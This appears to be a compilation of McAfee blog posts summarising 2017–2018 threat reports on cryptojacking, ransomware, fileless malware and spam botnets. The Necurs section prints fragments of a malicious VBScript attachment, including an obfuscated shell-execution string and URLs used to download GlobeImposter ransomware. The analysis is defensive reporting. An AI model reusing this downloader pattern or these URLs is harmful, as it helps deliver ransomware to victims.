‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues

As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking. Although voice assistants fall in a different category, the other three are closely linked and driven by the goal of fast, profitable attacks that result in …

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As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking. Although voice assistants fall in a different category, the other three are closely linked and driven by the goal of fast, profitable attacks that result in a quick return on a cybercriminal’s investment.

One of the most significant shifts we see is that cryptojacking is still on the rise, while traditional ransomware attacks—aka “shoot and pray they pay”—are decreasing. Ransomware attacks are becoming more targeted as actors conduct their research to pick likely victims, breach their networks, and launch the malware followed by a high-pressure demand to pay the ransom. Although the total number of ransomware samples has fallen for two quarters, one family continues to spawn new variants. The Scarab ransomware family, which entered the threat landscape in June 2017, developed a dozen new variants in Q2. These variants combined make up more than 50% of the total number of Scarab samples to date.

What spiked the movement, starting in fall 2017, toward cryptojacking? The first reason is the value of cryptocurrency. If attacker can steal Bitcoins, for example, from a victim’s system, that’s enough. If direct theft is not possible, why not mine coins using a large number of hijacked systems. There’s no need to pay for hardware, electricity, or CPU cycles; it’s an easy way for criminals to earn money. We once thought that CPUs in routers and video-recording devices were useless for mining, but default or missing passwords wipe away this view. If an attacker can hijack enough systems, mining in high volume can be profitable. Not only individuals struggle with protecting against these attacks; companies suffer from them as well.

Securing cloud environments can be a challenge. Building applications in the cloud with container technology is effective and fast, but we also need to create the right amount of security controls. We have seen breaches in which bad actors uploaded their own containers and added them to a company’s cloud environment—which started to mine cryptocurrency.

New technologies and improvements to current ones are great, but we need to find the balance of securing them appropriately. Who would guess to use an embedded voice assistant to hack a computer? Who looks for potential attack vectors in new technologies and starts a dialog with the industry? One of those is the McAfee Advanced Threat Research team, which provides most of the analysis behind our threats reports. With a mix of the world’s best researchers in their key areas, they take on the challenge of making the (cyber) world safer. From testing vulnerabilities in new technologies to examining malware and the techniques of nation-state campaigns, we responsibly disclose our research to organizations and the industry. We take what we learn from analyzing attacks to evaluate, adapt, and innovate to improve our technology.

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‘McAfee Labs Threats Report’ Spotlights Innovative Attack Techniques, Cryptocurrency Mining, Multisector Attacks

In the McAfee Labs Threats Report June 2018, published today, we share investigative research and threat statistics gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q1 of this year. We have observed that although overall new mal…

In the McAfee Labs Threats Report June 2018, published today, we share investigative research and threat statistics gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q1 of this year. We have observed that although overall new malware has declined by 31% since the previous quarter, bad actors are working relentlessly to develop new technologies and tactics that evade many security defenses.

These are the key campaigns we cover in this report.

  • Deeper investigations reveal that the attack targeting organizations involved in the Pyeongchang Winter Olympics in South Korea used not just one PowerShell implant script, but multiple implants, including Gold Dragon, which established persistence to engage in reconnaissance and enable continued data exfiltration.
  • The infamous global cybercrime ring known as Lazarus has resurfaced. We discovered that the group has launched the Bitcoin-stealing phishing campaign “HaoBao,” which targets the financial sector and Bitcoin users.
  • We are also seeing the emergence of a complex, multisector campaign dubbed Operation GhostSecret, which uses many data-gathering implants. We expect to see an escalation of these attacks in the near future.

Here are some additional findings and insights:

  • Ransomware drops: New ransomware attacks took a significant dive (-32%), largely as a result of an 81% drop in Android lockscreen malware.
  • Cryptojacking makes a comeback: Attackers targeting cryptocurrencies may be moving from ransomware to coin miner malware, which hijacks systems to mine for cryptocurrencies and increase their profits. New coin miner malware jumped an astronomical 1,189% in Q1.
  • LNK outpaces PowerShell: Cybercriminals are increasingly using LNK shortcuts to surreptitiously deliver malware. New PowerShell malware dropped 77% in Q1, while attacks leveraging Microsoft Windows LNK shortcut files jumped 24%.
  • Incidents go global: Overall security incidents rose 41% in Q1, with incidents hitting multiple regions showing the biggest increase, at 67%, and the Americas showing the next largest increase, at 40%.

Get all the details by reading the McAfee Labs Threats Report, June 2018.

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Necurs Botnet Leads the World in Sending Spam Traffic

In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer…

In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can rent access to the botnet to spread their own malicious campaigns.

The most common techniques are email attachments with macros or JavaScript to download malware from different locations. In October, the Locky ransomware campaign used Microsoft’s Dynamic Data Exchange to lure victims into “updating” the attached document with data from linked files—external links that delivered the malware.

In Q4 we noticed several botnet campaigns delivering the following payloads:

  • GlobeImposter ransomware
  • Locky ransomware
  • Scarab ransomware
  • Dridex banking Trojan

A timeline:

Let’s zoom in on one of the campaigns from the Necurs botnet. In the following example, an email automatically sent from a VOIP system informs the victim of a missed call. The email contains an attachment, a Visual Basic script.

In this case, the name is “Outside Caller 19-12-2017 [random nr].” Here is some of the script code:

Execute "Sub Aodunnecessarilybusinesslike(strr):ZabiT.Savetofile writenopopbusinesslikeInPlaceOf , 2 : End Sub"

Disaster = "//21+12:ptth21+12ex"+"e.eUtaLHpbP\21+12elifotevas21+12ydoBes"+"nopser21+12etirw21+12nepo21+12epyT21+12PmeT21+12TeG21+12ssecorP21+12llehs.tpircsW21+12noitacilppA.llehs21+12" & "" 

 

This piece of code makes sure that the embedded code will be saved to a file. Note the second line of code: It is backward and calls the Windows script shell to execute the code. The following code string ensures that the backward line is read properly:

SudForMake = Split("Microsoft.XMLHTTP21+12Adodb.streaM"+StrReverse(Disaster),  "21+12")

 

The following line starts the saved code:

writenopopbusinesslikeMacAttack.Run("cmd."&"exe /c START """" "+" " & ArrArr ) 

 

Once the executable is started, it attempts to download the ransomware from the embedded URLs in the code: 

krapivec = Array("littleblessingscotons.com/jdh673hk?","smarterbaby.com/jdh673hk?","ragazzemessenger.com/jdh673hk?") 

 

The malware downloaded and executed is GlobeImposter ransomware. After encrypting all files and deleting the Volume Shadow copies to block file restore, the user is prompted with the request to buy the decryptor:

Spam botnets are one of the pillars of the cybercrime business. The authors of these botnets understand their market value and spend their rental income on continuous development. Their work keeps the infrastructure running, creates ever-changing spam messages, and delivers these messages to your inbox—with many avoiding spam blockers. This cybercrime effort should inspire your organization to discuss the implementation of DMARC (domain-based message authentication, reporting & conformance). To learn more about how DMARC can help protect against this kind of threat, visit dmarc.org. For more on Necurs, see the McAfee Labs Threats Report, June 2017.

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‘McAfee Labs Threats Report’ Examines Cryptocurrency Hijacking, Ransomware, Fileless Malware

Today McAfee published the McAfee Labs Threats Report: March 2018. The report looks into the growth and trends of new malware, ransomware, and other threats in Q4 2017. McAfee Labs saw on average eight new threat samples per second, and the increasing …

Today McAfee published the McAfee Labs Threats Report: March 2018. The report looks into the growth and trends of new malware, ransomware, and other threats in Q4 2017. McAfee Labs saw on average eight new threat samples per second, and the increasing use of fileless malware attacks leveraging Microsoft PowerShell. The Q4 spike in Bitcoin value prompted cybercriminals to focus on cryptocurrency hijacking through a variety of methods, including malicious Android apps.

Each quarter, McAfee Labs, led by the Advanced Threat Research team, assesses the state of the cyber threat landscape based on threat data gathered by the McAfee Global Threat Intelligence cloud from hundreds of millions of sensors across multiple threat vectors around the world. McAfee Advanced Threat Research complements McAfee Labs by providing in-depth investigative analysis of cyberattacks from around the globe.

Cybercriminals Take on New Strategies, Tactics

The fourth quarter of 2017 saw the rise of newly diversified cybercriminals, as a significant number of actors embraced novel criminal activities to capture new revenue streams. For instance, the spike in the value of Bitcoin prompted actors to branch out from moneymakers such as ransomware, to the practice of hijacking Bitcoin and Monero wallets. McAfee researchers discovered Android apps developed exclusively for the purpose of cryptocurrency mining and observed discussions in underground forums suggesting Litecoin as a safer model than Bitcoin, with less chance of exposure.

Cybercriminals also continued to adopt fileless malware leveraging Microsoft PowerShell, which surged 432% over the course of 2017, as the threat category became a go-to toolbox. The scripting language was used within Microsoft Office files to execute the first stage of attacks.

Health Care Targeted

Although publicly disclosed security incidents targeting health care decreased by 78% in the fourth quarter of 2017, the sector experienced a dramatic 210% overall increase in incidents in 2017. Through their investigations, McAfee Advanced Threat Research analysts conclude many incidents were caused by organizational failure to comply with security best practices or address known vulnerabilities in medical software.

McAfee Advanced Threat Research analysts looked into possible attack vectors related to health care data, finding exposed sensitive images and vulnerable software. Combining these attack vectors, analysts were able to reconstruct patient body parts, and create three-dimensional models.

Q4 2017 Threats Activity

Fileless malware. In Q4 JavaScript malware growth continued to slow with new samples decreasing by 9%, while new PowerShell malware more than tripled, growing 267%.

Security incidents. McAfee Labs counted 222 publicly disclosed security incidents in Q4, a decrease of 15% from Q3. 30% of all publicly disclosed security incidents in Q4 took place in the Americas, followed by 14% in Europe and 11% in Asia.

Vertical industry targets. Public, health care, education, and finance, respectively, led vertical sector security incidents for 2017.

  • Health Care. Disclosed incidents experienced a surge in 2017, rising 210%, while falling 78% in Q4.
  • Public sector. Disclosed incidents decreased 15% in 2017, down 37% in Q4.
  • Disclosed incidents rose 125% in 2017, remaining stagnant in Q4.
  • Disclosed incidents rose 16% in 2017, falling 29% in Q4. 

Regional targets

  • Disclosed incidents rose 46% in 2017, falling 46% in Q4.
  • Disclosed incidents fell 58% in 2017, rising 28% in Q4.
  • Disclosed incidents fell 20% in 2017, rising 18% in Q4.
  • Disclosed incidents rose 42% in 2017, falling 33% in Q4. 

Attack vectors. In Q4 and 2017 overall, malware led disclosed attack vectors, followed by account hijacking, leaks, distributed denial of service, and code injection.

Ransomware. The fourth quarter saw notable industry and law enforcement successes against criminals responsible for ransomware campaigns. New ransomware samples grew 59% over the last four quarters, while new ransomware samples growth rose 35% in Q4. The total number of ransomware samples increased 16% in the last quarter to 14.8 million samples.

Mobile malware. New mobile malware decreased by 35% from Q3. In 2017 total mobile malware experienced a 55% increase, while new samples declined by 3%.

Malware overall. New malware samples increased in Q4 by 32%. The total number of malware samples grew 10% in the past four quarters.

Mac malware. New Mac OS malware samples increased by 24% in Q4. Total Mac OS malware grew 243% in 2017.

Macro malware. New macro malware increased by 53% in Q4, declined by 35% in 2017.

Spam campaigns. 97% of spam botnet traffic in Q4 was driven by Necurs—recent purveyor of “lonely girl” spam, pump-and-dump stock spam, and Locky ransomware downloaders—and by Gamut—sender of job offer–themed phishing and money mule recruitment emails.

For more information on these threat trends and statistics, please visit:

Twitter @Raj_Samani & @McAfee_Labs.

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